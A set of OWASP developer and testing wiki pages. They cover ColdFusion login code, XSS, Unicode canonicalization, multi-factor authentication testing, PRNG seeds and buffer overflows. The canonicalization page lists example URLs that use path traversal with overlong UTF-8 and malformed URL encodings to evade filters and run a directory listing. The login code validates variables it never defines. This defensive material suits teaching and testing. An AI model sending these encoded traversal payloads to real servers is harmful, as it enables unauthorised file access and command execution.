<cfif loginQuery.hashed_password EQ Hash(strPassword & loginQuery.salt, "SHA-256" )>

<cfset retargs.authenticated="YES">

<cfset Session.UserName = strUserName>

<cflog text="#getAuthUser()# has logged in!"

type="Information"

file="access"

application="yes">



<cfelse>

<cfset retargs.authenticated="NO">

</cfif>

<cfelse>

<cfset retargs.authenticated="NO">

</cfif>

<cfcatch type="database">

<cflog text="Error in dbLogin(). #cfcatch.details#"

type="Error"

log="Application"

application="yes">

<cfset retargs.authenticated="NO">

<cfreturn retargs>

</cfcatch>

</cftry>

<cfreturn retargs>

</cffunction>

<cffunction name="logout" access="remote" output="true">

<cfargument name="logintype" type="string" required="yes">

<cfif isDefined("form.logout")>

<cflogout>

<cfset StructClear(Session)>

<cflog text="#getAuthUser()# has been logged out."

type="Information"

file="access"

application="yes">

<cfif arguments.logintype eq "challenge">

<cfset foo = closeBrowser()>

<cfelse>



<cflocation url="login.cfm">

</cfif>

</cfif>

</cffunction>

<cffunction name="dblogin" access="private" output="false" returntype="struct">

<cfargument name="strUserName" required="true" type="string">

<cfargument name="strPassword" required="true" type="string">

<cfset var retargs = StructNew()>

<cftry>

<cfif IsValid("regex", uUserName, "[A-Za-z0-9%]*") AND IsValid("regex", uPassword, "[A-Za-z0-9%]*")>

<cfquery name="loginQuery" dataSource="#Application.DB#" >

SELECT hashed_password, salt

FROM UserTable

WHERE UserName =

<cfqueryparam value="#strUserName#" cfsqltype="CF_SQL_VARCHAR" maxlength="25">

</cfquery>

<cfif loginQuery.hashed_password EQ Hash(strPassword & loginQuery.salt, "SHA-256" )>

<cfset retargs.authenticated="YES">

<cfset Session.UserName = strUserName>

<cflog text="#getAuthUser()# has logged in!"

type="Information"

file="access"

application="yes">



<cfelse>

<cfset retargs.authenticated="NO">

</cfif>

<cfelse>

<cfset retargs.authenticated="NO">

</cfif>

<cfcatch type="database">

<cflog text="Error in dbLogin(). #cfcatch.details#"

type="Error"

log="Application"

application="yes">

<cfset retargs.authenticated="NO">

<cfreturn retargs>

</cfcatch>

</cftry>

<cfreturn retargs>

</cffunction>

<cffunction name="logout" access="remote" output="true">

<cfargument name="logintype" type="string" required="yes">

<cfif isDefined("form.logout")>

<cflogout>

<cfset StructClear(Session)>

<cflog text="#getAuthUser()# has been logged out."

type="Information"

file="access"

application="yes">

<cfif arguments.logintype eq "challenge">

<cfset foo = closeBrowser()>

<cfelse>



<cflocation url="login.cfm">

</cfif>

</cfif>

</cffunction>

</pre>

[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:Error Handling]]
[[Category:Logging]]
[[Category:OWASP Logging Project]]

Cross Site Scripting Flaw

2013-05-12T17:07:20Z

Shady: References

{{Template:Vulnerability}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]

==Description==
Cross site Scripting (XSS) attacks are a type of injection problem, in which malicious scripts are injected into otherwise benign and trusted web sites. Cross site scripting flaws are the most prevalent flaw in web applications today. Cross site scripting attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.

Attackers frequently use a variety of methods to encode the malicious portion of the tag, such as using Unicode, so the request is less suspicious looking to the user. There are hundreds of variants of these attacks, including versions that do not even require any < > symbols. For this reason, attempting to “filter out” these scripts is not likely to succeed. Instead we recommend validating input against a rigorous positive specification of what is expected. XSS attacks usually come in the form of embedded JavaScript. However, any embedded active content is a potential source of danger, including: ActiveX (OLE), VBscript, Shockwave, Flash and more.

XSS issues can also be present in the underlying web and application servers as well. Most web and application servers generate simple web pages to display in the case of various errors, such as a 404 ‘page not found’ or a 500 ‘internal server error.’ If these pages reflect back any information from the user’s request, such as the URL they were trying to access, they may be vulnerable to a reflected XSS attack.

The likelihood that a site contains XSS vulnerabilities is extremely high. There are a wide variety of ways to trick web applications into relaying malicious scripts. Developers that attempt to filter out the malicious parts of these requests are very likely to overlook possible attacks or encodings. Finding these flaws is not tremendously difficult for attackers, as all they need is a browser and some time. There are numerous free tools available that help hackers find these flaws as well as carefully craft and inject XSS attacks into a target site.

===Environments Affected===
All web servers, application servers, and web application environments are susceptible to cross site scripting.

===How to Determine If You Are Vulnerable===
There are three known types of cross site scripting: [[Cross-site_Scripting_(XSS)#Reflected_XSS_Attacks | reflected]], [[Cross-site_Scripting_(XSS)#Stored_XSS_Attacks | stored]], and [[DOM_Based_XSS | DOM injection]]. Reflected XSS is the easiest to exploit – a page will reflect user supplied data directly back to the user:

echo $_REQUEST['userinput'];

Stored XSS takes hostile data, stores it in a file, a database, or other back end system, and then at a later stage, displays the data to the user, unfiltered. This is extremely dangerous in systems such as CMS, blogs, or forums, where a large number of users will see input from other individuals.

With DOM based XSS attacks, the site’s JavaScript code and variables are manipulated rather than HTML elements. Alternatively, attacks can be a blend or hybrid of all three types. The danger with cross site scripting is not the type of attack, but that it is possible.

Attacks are usually implemented in JavaScript, which is a powerful scripting language. Using JavaScript allows attackers to manipulate any aspect of the rendered page, including adding new elements (such as adding a login tile which forwards credentials to a hostile site), manipulating any aspect of the internal DOM tree, and deleting or changing the way the page looks and feels. JavaScript allows the use of XmlHttpRequest, which is typically used by sites using AJAX technologies, even if victim site does not use AJAX today.

Using XmlHttpRequest (AJAX), it is sometimes possible to get around a browser’s same source origination policy - thus forwarding victim data to hostile sites, and to create complex worms and malicious zombies that last as long as the browser stays open. AJAX attacks do not have to be visible or require user interaction to perform dangerous cross site request forgery (CSRF) attacks (see [[CSRF]]).

XSS flaws can be difficult to identify and remove from a web application. The best way to find flaws is to perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output. Note that a variety of different HTML tags can be used to transmit a malicious JavaScript. Nessus, Nikto, and some other available tools can help scan a website for these flaws, but can only scratch the surface.

==Prevention==
OWASP's recommended defenses against XSS are documented in the OWASP [[XSS (Cross Site Scripting) Prevention Cheat Sheet]].


==Examples==
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4206
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3966
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5204

==Related [[Attacks]]==
* [[Cross-site Scripting (XSS)]]
* [[Cross Site History Manipulation (XSHM)]]


==References==
* [[XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet]]
* OWASP Guide to Building Secure Web Applications and Web Services, [[Data Validation]]
* OWASP Testing Guide, [[Testing for Cross site scripting]]
* The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml
* XSS Cheat Sheet: http://ha.ckers.org/xss.html
* CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html
* CERT "Understanding Malicious Content Mitigation" http://www.cert.org/tech_tips/malicious_code_mitigation.html
* Understanding the cause and effect of CSS Vulnerabilities: http://www.technicalinfo.net/papers/CSS.html
* [[How_to_Build_an_HTTP_Request_Validation_Engine_for_Your_J2EE_Application|How to Build an HTTP Request Validation Engine (J2EE validation with Stinger)]]
* XSSed - Cross-Site Scripting (XSS) Information and Mirror Archive of Vulnerable Websites http://www.xssed.com
* Cross-Site Scripting Security Exposure Executive Summary: http://technet.microsoft.com/en-us/library/cc750326.aspx
* Have Your Cake and Eat it Too (.NET validation) https://www.owasp.org/index.php/Have_Your_Cake_and_Eat_It_Too

[[Category:FIXME|add links
<nowiki>[[Category:Input Validation Vulnerability]]</nowiki>
]]

__NOTOC__

[[Category:OWASP ASDR Project]]
[[Category:Vulnerability]]
[[Category:Externally Linked Page]]

Canonicalization, locale and Unicode

2013-05-12T16:54:20Z

Shady: Further Reading

[[Guide Table of Contents|Development Guide Table of Contents]]__TOC__

==Objective ==

To ensure the application is robust when subjected to encoded, internationalized and Unicode input.

==Platforms Affected ==

All.

==Relevant COBIT Topics ==

DS11.9 – Data processing integrity

==Description ==

Applications are rarely tested for Unicode exploits, and yet many are vulnerable due to the same sort of issues which allows HTTP Request Smuggling to work – every browser, web server, web application firewall or HTTP inspection agent, and other device treats user locale handling in different (and usually confusing) manner.

Canonicalization deals with the way in which systems convert data from one form to another. Canonical means the simplest or most standard form of something. Canonicalization is the process of converting something from one representation to the simplest form.

Web applications have to deal with lots of canonicalization issues from URL encoding to IP address translation. When security decisions are made based on less than perfectly canonicalized data, the application itself must be able to deal with unexpected input safely.

'''NB: To be secure against canonicalization attacks does not mean that every application has to be internationalized, but all applications should be safe when Unicode and malformed representations are entered. '''

==Unicode ==

Unicode Encoding is a method for storing characters with multiple bytes. Wherever input data is allowed, data can be entered using [[Unicode Encoding|Unicode]] to disguise malicious code and permit a variety of attacks. RFC 2279 references many ways that text can be encoded.

Unicode was developed to allow a Universal Character Set (UCS) that encompasses most of the world's writing systems. Multi-octet characters, however, are not compatible with many current applications and protocols, and this has led to the development of a few UCS transformation formats (UTF) with varying characteristics. UTF-8 has the characteristic of preserving the full US-ASCII range. It is compatible with file systems, parsers and other software relying on US-ASCII values, but it is transparent to other values.

The importance of UTF-8 representation stems from the fact that web-servers/applications perform several steps on their input of this format. The order of the steps is sometimes critical to the security of the application. Basically, the steps are "URL decoding" potentially followed by "UTF-8 decoding", and intermingled with them are various security checks, which are also processing steps.

If, for example, one of the security checks is searching for "..", and it is carried out before UTF-8 decoding takes place, it is possible to inject ".." in their overlong UTF-8 format. Even if the security checks recognize some of the non-canonical format for dots, it may still be that not all formats are known to it.

Consider the ASCII character "." (dot). Its canonical representation is a dot (ASCII 2E). Yet if we think of it as a character in the second UTF-8 range (2 bytes), we get an overlong representation of it, as C0 AE. Likewise, there are more overlong representations: E0 80 AE, F0 80 80 AE, F8 80 80 80 AE and FC 80 80 80 80 AE.

{| border=1

|| UCS-4 Range || UTF-8 Encoding

|-

|| ''0x00000000-0x0000007F'' || ''0xxxxxxx''

|-

|| ''0x00000080 - 0x000007FF'' || ''110xxxxx 10xxxxxx''

|-

|| ''0x00000800-0x0000FFFF'' || ''1110xxxx 10xxxxxx 10xxxxxx''

|-

|| ''0x00010000-0x001FFFFF'' || ''11110xxx 10xxxxxx 10xxxxxx 10xxxxxx''

|-

|| ''0x00200000-0x03FFFFFF'' || ''111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx''

|-

|| ''0x04000000-0x7FFFFFFF'' || ''1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx''

|-

|}

Consider the representation C0 AE of a ".". Like UTF-8 encoding requires, the second octet has "10" as its two most significant bits. Now, it is possible to define 3 variants for it, by enumerating the rest of the possible 2 bit combinations ("00", "01" and "11"). Some UTF-8 decoders would treat these variants as identical to the original symbol (they simply use the least significant 6 bits, disregarding the most significant 2 bits). Thus, the 3 variants are C0 2E, C0 5E and C0 FE.

It is thus possible to form illegal UTF-8 encodings, in two senses:

* A UTF-8 sequence for a given symbol may be longer than necessary for representing the symbol.

* A UTF-8 sequence may contain octets that are in incorrect format (i.e. do not comply with the above 6 formats).

To further "complicate" things, each representation can be sent over HTTP in several ways:

'''In the raw'''. That is, without URL encoding at all. This usually results in sending non-ASCII octets in the path, query or body, which violates the HTTP standards. Nevertheless, most HTTP servers do get along just fine with non-ASCII characters.

'''Valid URL encoding'''. Each non-ASCII character (more precisely, all characters that require URL encoding - a superset of non ASCII characters) is URL-encoded. This results in sending, say, %C0%AE.

'''Invalid URL encoding'''. This is a variant of valid URL encoding, wherein some hexadecimal digits are replaced with non-hexadecimal digits, yet the result is still interpreted as identical to the original, under some decoding algorithms. For example, %C0 is interpreted as character number ('C'-'A'+10)*16+('0'-'0') = 192. Applying the same algorithm to %M0 yields ('M'-'A'+10)*16+('0'-'0') = 448, which, when forced into a single byte, yields (8 least significant bits) 192, just like the original. So, if the algorithm is willing to accept non-hexadecimal digits (such as 'M'), then it is possible to have variants for %C0 such as %M0 and %BG.

It should be kept in mind that these techniques are not directly related to Unicode, and they can be used in non-Unicode attacks as well.

http://www.example.com/cgi-bin/bad.cgi?foo=../../bin/ls%20-al

URL Encoding of the example attack:

http://www.example.com/cgi-bin/bad.cgi?foo=..%2F../bin/ls%20-al

Unicode encoding of the example attack:

http://www.example.com/cgi-bin/bad.cgi?foo=..%c0%af../bin/ls%20-al

http://www.example.com/cgi-bin/bad.cgi?foo=..%c1%9c../bin/ls%20-al

http://www.example.com/cgi-bin/bad.cgi?foo=..%c1%pc../bin/ls%20-al

http://www.example.com/cgi-bin/bad.cgi?foo=..%c0%9v../bin/ls%20-al

http://www.example.com/cgi-bin/bad.cgi?foo=..%c0%qf../bin/ls%20-al

http://www.example.com/cgi-bin/bad.cgi?foo=..%c1%8s../bin/ls%20-al

http://www.example.com/cgi-bin/bad.cgi?foo=..%c1%1c../bin/ls%20-al

http://www.example.com/cgi-bin/bad.cgi?foo=..%c1%9c../bin/ls%20-al

http://www.example.com/cgi-bin/bad.cgi?foo=..%c1%af../bin/ls%20-al

http://www.example.com/cgi-bin/bad.cgi?foo=..%e0%80%af../bin/ls%20-al

http://www.example.com/cgi-bin/bad.cgi?foo=..%f0%80%80%af../bin/ls%20-al

http://www.example.com/cgi-bin/bad.cgi?foo=..%f8%80%80%80%af../bin/ls%20-al

===How to protect yourself ===

A suitable canonical form should be chosen and all user input canonicalized into that form before any authorization decisions are performed. Security checks should be carried out after UTF-8 decoding is completed. Moreover, it is recommended to check that the UTF-8 encoding is a valid canonical encoding for the symbol it represents.

http://www.ietf.org/rfc/rfc2279.txt?number=2279 

==Input Formats ==

Web applications usually operate internally as one of ASCII, ISO 8859-1, or Unicode (Java programs are UTF-16 example). Your users may be using another locale, and attackers can choose their locale and character set with impunity.

===How to determine if you are vulnerable ===

Investigate the web application to determine if it asserts an internal code page, locale, or culture.

If the default character set, locale is not asserted it will be one of the following:

* HTTP Posts. Interesting tidbit: All HTTP posts are required to be ISO 8859-1, which will lose data for most double byte character sets. You must test your application with your supported browsers to determine if they pass in fully encoded double byte characters safely

* HTTP Gets. Depends on the previously rendered page and per-browser implementations, but URL encoding is not properly defined for double byte character sets. IE can be optionally forced to do all submits as UTF-8 which is then properly canonicalized on the server

* .NET: Unicode (little endian)

* JSP implementations, such as Tomcat: UTF8 - see “javaEncoding” in web.xml by many servlet containers

* Java: Unicode (UTF-16, big endian, '''''or''''' depends on the OS during JVM startup)

* PHP: Set in php.ini, ISO 8859-1.

'''NB: Many PHP functions make (invalid) assumptions as to character set and may not work properly when changed to another character set. Test your application with the new character set thoroughly!'''

===How to protect yourself ===

* Determine your application’s needs, and set both the asserted language locale and character set appropriately.

==Locale assertion ==

The web server should always assert a locale and preferably a country code, such as “en_US”, “fr_FR”, “zh_CN”

===How to determine if you are vulnerable ===

Use a HTTP header sniffer or even just telnet against your web server:

<pre>
HEAD / HTTP1.0
</pre>

Should display something like this:

<pre>
HTTP/1.1 200 OK

Date: Sun, 24 Jul 2005 08:13:17 GMT

Server: Apache/1.3.29

Connection: close

Content-Type: text/html;''''' charset=iso-8859-1'
</pre>

===How to protect yourself ===

Review and implement these guidelines:

http://www.w3.org/International/technique-index

At a minimum, select the correct output locale and character set.

==Double (or n-) encoding ==

Most web applications only check once to determine if the input is has been de-encoded into the correct Unicode values. However, an attacker may have doubly encoded the attack string.

===How to determine if you are vulnerable ===

* Use XSS Cheat Sheet double encoder utility to double encode a XSS string

http://ha.ckers.org/xss.html

* If the resultant injection is a successful XSS output, then your application is vulnerable

* This attack may also work against:

# Filenames
# Non-obvious items like report types, and language selectors
# Theme names

===How to protect yourself ===

* Assert the correct locale and character set for your application

* Use HTML entities, URL encoding, and so on to prevent Unicode characters being treated improperly by the many divergent browser, server, and application combinations

* Test your code and overall solution extensively

==HTTP Request Smuggling ==

[[HTTP Request Smuggling]] (HRS) is an issue detailed in depth by Klein, Linhart, Heled, and Orrin in a whitepaper found in the references section. The basics of HTTP Request Smuggling is that many larger solutions use many components to provide a web application. The differences between the firewall, web application firewall, load balancers, SSL accelerators, reverse proxies, and web servers allow a specially crafted attack to bypass all the controls in the front-end systems and directly attack the web server.

The types of attack they describe are:

* Web cache poisoning

* Firewall/IDS/IPS evasion

* Forward and backward HRS techniques

* Request hijacking

* Request credential hijacking

Since the whitepaper, several examples of real life HRS have been discovered.

===How to determine if you are vulnerable ===

* Review the whitepaper

* Review your infrastructure for vulnerable components

===How to protect yourself ===

* Minimize the total number of components that may interpret the inbound HTTP request

* Keep your infrastructure up to date with patches

==Further Reading ==

* IDS Evasion using Unicode

http://online.securityfocus.com/print/infocus/1232

* W3C Internationalization Home Page

http://www.w3.org/International/

* HTTP Request Smuggling

http://www.cgisecurity.com/lib/http-request-smuggling.pdf

* XSS Cheat Sheet

http://ha.ckers.org/xss.html

[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:Canonicalization]]
[[Category:Encoding]]
[[Category:Externally Linked Page]]

Testing Multiple Factors Authentication (OWASP-AT-009)

2013-05-12T16:45:00Z

Shady: References

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
Evaluating the strength of a “Multiple Factors Authentication System” (MFAS) is a critical task for the Penetration tester. Banks and other financial institutions are going to spend considerable amounts of money on expensive MFAS; therefore performing accurate tests before the adoption of a particular solution is absolutely suggested. In addition, a further responsibility of the Penetration Testers is to acknowledge if the currently adopted MFAS is effectively able to defend the organization assets from the threats that generally drive the adoption of a MFAS.

== Description of the Issue ==
Generally, the aim of a two factor authentication system is to enhance the strength of the authentication process [1]. This goal is achieved by checking an additional factor, or “something you have” as well as “something you know”, making sure that the user holds a hardware device of some kind in addition to the password. The hardware device provided to the user may be able to communicate directly and independently with the authentication infrastructure using an additional communication channel; this particular feature is something known as “separation of channels”.

Bruce Schneier in 2005 observed that some years ago “the threats were all passive: eavesdropping and offline password guessing. Today, the threats are more active: phishing and Trojan horses” [2]. Actually the common threats that a MFAS in a Web environment should correctly address include:

# Credential Theft (Phishing, Eavesdropping, MITM e.g. Banking from compromised network)
# Weak Credentials (Credentials Password guessing and Password Bruteforcing attacks)
# Session based attacks (Session Riding, Session Fixation)
# Trojan and Malware attacks (Banking from compromised clients)
# Password Reuse (Using the same password for different purposes or operations, e.g. different transactions)

The optimal solution should be able to address all the possible attacks related to the 5 categories above.
Since the strength of an authentication solution is generally classified depending on how many “authentication factors” are checked when the user gets in touch with the computing system, the typical IT professional’s advise is: “If you are not happy with your current authentication solution, just add another authentication factor and it will be all right”. [3] Unfortunately, as we will see in the next paragraphs, the risk associated with attacks performed by motivated attackers cannot be totally eliminated; in addition some MFAS solutions are more flexible and secure compared to the others.

Considering the ''5-Threats (5T)'' above we could analyze the strength of a particular MFAS solution, since the solution may be able to ''Address'', ''Mitigate'' or ''Not Remediate'' that particular Web Attack. 

== Gray Box testing and example ==
A minimum amount of information about the authentication schema in use is necessary for testing the security of the MFAS solution in place. This is the main reason why the “Black Box Testing” section has been omitted. In particular, a general knowledge about the whole authentication infrastructure is important because:
* MFAS solutions are principally implemented to authenticate disposal operations. Disposal actions are supposed to be performed in the inner parts of the secure website.
* Attacks carried out successfully against MFAS are performed with a high degree of control over what is happening. This statement is usually true because attackers can “grab” detailed information about a particular authentication infrastructure by harvesting any data they can intercept through Malware attacks. Assuming that an attacker must be a customer to know how the authentication of a banking website works is not always correct; the attackers just need to get control of a single customer to study the entire security infrastructure of a particular website (Authors of SilentBanker Trojan [4] are known for continuously collecting information about visited websites while infected users browse the internet. Another example is the attack performed against the Swedish Nordea bank in 2005 [5]).

The following examples are about a security evaluation of different MFAS, based upon the ''5T'' model presented above.

The most common authentication solution for Web applications is User ID and password authentication. In this case, an additional password for authorizing wire transfers is often required.
MFAS solutions add “something you have” to the authentication process. This component is usually a:

* One-time password (OTP) generator token.
* Grid Card, Scratch Card or any information that only the legitimate user is supposed to have in his wallet
* Crypto devices like USB tokens or smart cards, equipped with X.509 certificates.
* Randomly generated OTPs transmitted through a GSM SMS messages [SMSOTP] [6]

The following examples are about the testing and evaluation of different implementations of MFAS similar to the ones above. Penetration Testers should consider all possible weaknesses of the current solution to propose the correct mitigating factors if the infrastructure is already in place. A correct evaluation may also permit one to choose the right MFAS for the infrastructure during a preliminary solution selection.

A mitigating factor is any additional component or countermeasure that might result in reduced likelihood of exploitation of a particular vulnerability. Credit cards are a perfect example. Notice how little attention is paid to cardholder authentication. Clerks barely check signatures. People use their cards over the phone and on the Internet, where the card's existence isn't even verified . The credit card companies spend their security dollar “controlling” the transaction, not the cardholder [6]. The transactions could be effectively controlled by behavioral algorithms that automatically fill up a risk score chart while the user uses his own credit card. Anything that is marked as suspected could be temporarily blocked by the circuit.

Another mitigating factor is also informing the customer about what is happening through a separate and secure channel. The Credit Card industry uses this method for informing the user about credit card transactions via SMS messages. If a fraudulent action is taken, the user knows immediately that something has gone wrong with his credit card. Real time information through separate channels can also have a higher accuracy by informing the user about transactions, before those transactions are successful.

Common '''"User ID, password, and Disposal password"''' usually protect from (3), partially from (2). They usually do not protect from (1), (4) and (5). From a Penetration tester's point of view, for correctly testing this kind of authentication system, we should concentrate on what the solution should protect from.

In other words, the adopters of a “User ID, Password, and Disposal password” authentication solution should be protected from (2) and from (3). A penetration tester should check if the current implementation effectively enforces the adoption of strong passwords and if it is resilient to Session Based attacks (e.g. Cross Site Request Forgeries attacks in order to force the user to submitting unwanted disposal operations).

*Vulnerability Chart for “UserID + Password + Disposal Password” based authentication: 
**''Known Weaknesses:'' 1, 4, 5 
**''Known Weaknesses (Details):'' This technology doesn’t protect from (1) because the password is static and can be stolen through blended threat attacks [8] (e.g. MITM attack against a SSLv2 connection). It doesn’t protect from (4) and (5) because it’s possible to submit multiple transactions with the same disposal password. 
**''Strengths (if well implemented):'' 2, 3
**''Strengths (Details):'' This technology protects from (2) only if password enforcement rules are in place. It protects from (3) because the need for a disposal password does not permit an attacker to abuse the current user session to submit disposal operations. [9]
 
Now let’s analyze some different implementations of MFASs:
 
'''"One Time Password Tokens"''' protect from (1), (2) and (3) if well implemented. Do not always protect from (5). Almost never protect from (4).
 
*Vulnerability Chart for "One Time Password Tokens" based authentication: 
**''Known Weaknesses:'' 4, sometimes 5 
**''Known Weaknesses (Details):'' OTP tokens do not protect from (4), because Banking Malware is able to modify the Web Traffic in real-time upon pre-configured rules; examples of this kind include malicious codes SilentBanker, Mebroot, and Trojan Anserin . Banking Malware works like a web proxy interacting with HTTPS pages. Since Malware takes total control over a compromised client, any action that a user performs is registered and controlled: Malware may stop a legitimate transaction and redirect the wire transfer to a different location. Password Reuse (5) is a vulnerability that may affect OTP tokens. Tokens are valid for a certain amount of time e.g. 30 seconds; if the authentication does not discard tokens that have been already used, it could be possible that a single token may authenticate multiple transactions during its 30 second lifetime. 
**''Strengths (if well implemented):'' 1,2,3 
**''Strengths (Details):'' OTP tokens mitigate effectively (1), because token lifetime is usually very short. In 30 seconds the attacker should be able to steal the token, enter the banking website and perform a transaction. It could be feasible, but it’s not usually going to happen in large-scale attacks. They usually protect from (2) because OTP HMAC are at least 6 digits long. Penetration Testers should check that the algorithm implemented by the OTP tokens under the test is safe enough and not predictable. Finally, they usually protect from (3) because the disposal token is always required. Penetration testers should verify that the procedure of requesting the validation token could not be bypassed.
 
'''"Grid Cards, Scratch Cards and any information that only the legitimate user is supposed to have in his Wallet"'''
should protect from (1), (2), (3). Like OTP tokens, they cannot protect from (4). During testing activities grid cards in particular have been found vulnerable to (5). Scratch card are not vulnerable to password reuse, because any code can be used just one time. 
The penetration tester, during the assessment of technologies of this kind, should pay particular attention to Password Reuse attacks (5) for grid cards. A grid card based system commonly would request the same code multiple times. An attacker would just need to know a single valid disposal code (e.g one of those inside the grid card), and to wait until the system requests the code that he knows. Tested grid cards that contain a limited number of combinations are usually prone to this vulnerability. (e.g., if a grid card contains 50 combinations the attacker just needs to ask for a disposal, filling up the fields, checking the challenge, and so on. This attack is not about bruteforcing the disposal code, it’s about bruteforcing the challenge). Other common mistakes include a weak password policy. Any disposal password contained inside the gridcard should have a length of at least 6 numbers. Attacks could be very effective in combination with blended threats or Cross Site Request forgeries.
 
'''"Crypto Devices with certificates (Token USB, Smart Cards)"''' offer a good layer of defense from (1), (2). It’s a common mistake to believe that they would always protect from (3), (4) and (5).
Unfortunately technologies offer the best security promises and at the same time some of the worst implementations around. USB tokens vary from vendor to vendor. Some of them authorize a user when they are plugged in, and do not authorize operations when they are unplugged. It seems to be a good behavior, but what it looks like is that some of them add further layers of implicit authentication. Those devices do not protect users from (3) (e.g. Session Riding and Cross Site Scripting code for automating transfers).
 
'''Custom “Randomly generated OTPs transmitted through a GSM SMS messages [SMSOTP]”''' could protect effectively from (1), (2), (3) and (5). Could also mitigate effectively (4) if well implemented. This solution, compared to the previous one, is the only one that uses an independent channel to communicate with the banking infrastructure.
This solution is usually very effective if well implemented. By separating the communication channels, it’s possible to inform the user about what is going on. 
Ex. of a disposal token sent via SMS: 
"This token: 32982747 authorizes a wire transfer of $ 1250.4 to bank account 2345623 Bank of NY".
The previous token authorizes a unique transaction, that is reported inside the text of the SMS message. In this way, the user can control that the intended transfer is effectively going to be directed to the right bank account. 
The approach described in this section is intended to provide a simple methodology to evaluate Multiple Factor Authentication Systems. The examples shown are taken from real-case scenarios and can be used as a starting point for analyzing the efficacy of a custom MFAS.

== References ==
'''Whitepapers''' 
[1] [Definition] Wikipedia, Definition of Two Factor Authentication 
http://en.wikipedia.org/wiki/Two-factor_authentication 
[2] [SCHNEIER] Bruce Schneier, Blog Posts about two factor authentication 2005, 
http://www.schneier.com/blog/archives/2005/03/the_failure_of.html 
http://www.schneier.com/blog/archives/2005/04/more_on_twofact.html 
[3] [Finetti] Guido Mario Finetti, "Web application security in un-trusted client scenarios" 
http://www.scmagazineuk.com/Web-application-security-in-un-trusted-client-scenarios/article/110448 
[4] [SilentBanker Trojan] Symantec, Banking in Silence 
http://www.symantec.com/connect/blogs/banking-silence 
[5] [Nordea] Finextra, Phishing attacks against two factor authentication, 2005 
http://www.finextra.com/fullstory.asp?id=14384 
[6] [SMSOTP] Bruce Schneier, “Two-Factor Authentication with Cell Phones”, November 2004, 
http://www.schneier.com/blog/archives/2004/11/twofactor_authe.html 
[7] [Transaction Authentication Mindset] Bruce Schneier, "Fighting Fraudulent Transactions" 
http://www.schneier.com/blog/archives/2006/11/fighting_fraudu.html 
[8] [Blended Threat] http://en.wikipedia.org/wiki/Blended_threat 
[9] [GUNTEROLLMANN] Gunter Ollmann, “Web Based Session Management. Best practices in managing HTTP-based client sessions”, 
http://www.technicalinfo.net/papers/WebBasedSessionManagement.html

PRNG Seed Error

2013-05-12T16:33:52Z

Shady: Description

{{Template:Stub}}
{{Template:Vulnerability}}

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

[[ASDR_TOC_Vulnerabilities|Vulnerabilities Table of Contents]]

==Description==

The incorrect use of a seed by a Psuedo Random Number Generator [http://cwe.mitre.org/data/definitions/335.html]. A seed error is usually brought on through the erroneous generation or application of a seed state.

==Risk Factors==

TBD

==Examples==
TBD

==Related [[Attacks]]==

* [[Attack 1]]
* [[Attack 2]]
The application of a seed state that is known to an attacker can lead to a permanent compromise attack [http://www.schneier.com/paper-prngs.html].

==Related [[Vulnerabilities]]==

* [[Vulnerability 1]]
* [[Vulnerabiltiy 2]]

==Related [[Controls]]==

* [[Control 1]]
* [[Control 2]]

==Related [[Technical Impacts]]==

* [[Technical Impact 1]]
* [[Technical Impact 2]]

==References==
Note: A reference to related [http://cwe.mitre.org/ CWE] or [http://capec.mitre.org/ CAPEC] article should be added when exists. Eg:

* [http://cwe.mitre.org/data/definitions/79.html CWE 79].
* http://www.link1.com
* [http://www.link2.com Title for the link2]

__NOTOC__

[[Category:OWASP ASDR Project]]
[[Category:Cryptographic Vulnerability]]
[[Category:Vulnerability]]

Buffer Overflows

2013-05-12T13:27:47Z

Shady: fixed links

[[Guide Table of Contents|Development Guide Table of Contents]]__TOC__'''

==Objective ==

To ensure that:

* Applications do not expose themselves to faulty components.

* Applications create as few buffer overflows as possible.

* Developers are encouraged to use languages and frameworks that are relatively immune to buffer overflows.

==Platforms Affected ==

Almost every platform, with the following notable exceptions:

* Java/J2EE – as long as native methods or system calls are not invoked.

* .NET – as long as unsafe or unmanaged code is not invoked (such as the use of P/Invoke or COM Interop).

* PHP, Python, Perl – as long as external programs or vulnerable extensions are not used.

==Relevant COBIT Topics ==

DS11.9 – Data processing integrity.

==Description ==

Attackers generally use [[Buffer Overflow|buffer overflows]] to corrupt the execution stack of a web application. By sending carefully crafted input to a web application, an attacker can cause the web application to execute arbitrary code, possibly taking over the machine. Attackers have managed to identify buffer overflows in a staggering array of products and components.

Buffer overflow flaws can be present in both the web server and application server products that serve the static and dynamic portions of a site, or in the web application itself. Buffer overflows found in commonly-used server products are likely to become widely known and can pose a significant risk to users of these products. When web applications use libraries, such as a graphics library to generate images or a communications library to send e-mail, they open themselves to potential buffer overflow attacks. Literature detailing buffer overflow attacks against commonly-used products is readily available, and newly discovered vulnerabilities are reported almost daily.

Buffer overflows can also be found in custom web application code, and may even be more likely, given the lack of scrutiny that web applications typically go through. Buffer overflow attacks against customized web applications can sometimes lead to interesting results. In some cases, we have discovered that sending large inputs can cause the web application or the back-end database to malfunction. It is possible to cause a denial of service attack against the web site, depending on the severity and specific nature of the flaw. Overly large inputs could cause the application to display a detailed error message, potentially leading to a successful attack on the system.

Buffer overflow attacks generally rely upon two techniques (and usually the combination):

* Writing data to particular memory addresses

* Having the operating system mishandle data types

* This means that strongly-typed programming languages (and environments) that disallow direct memory access usually prevent buffer overflows from happening.

{| border=1
|-
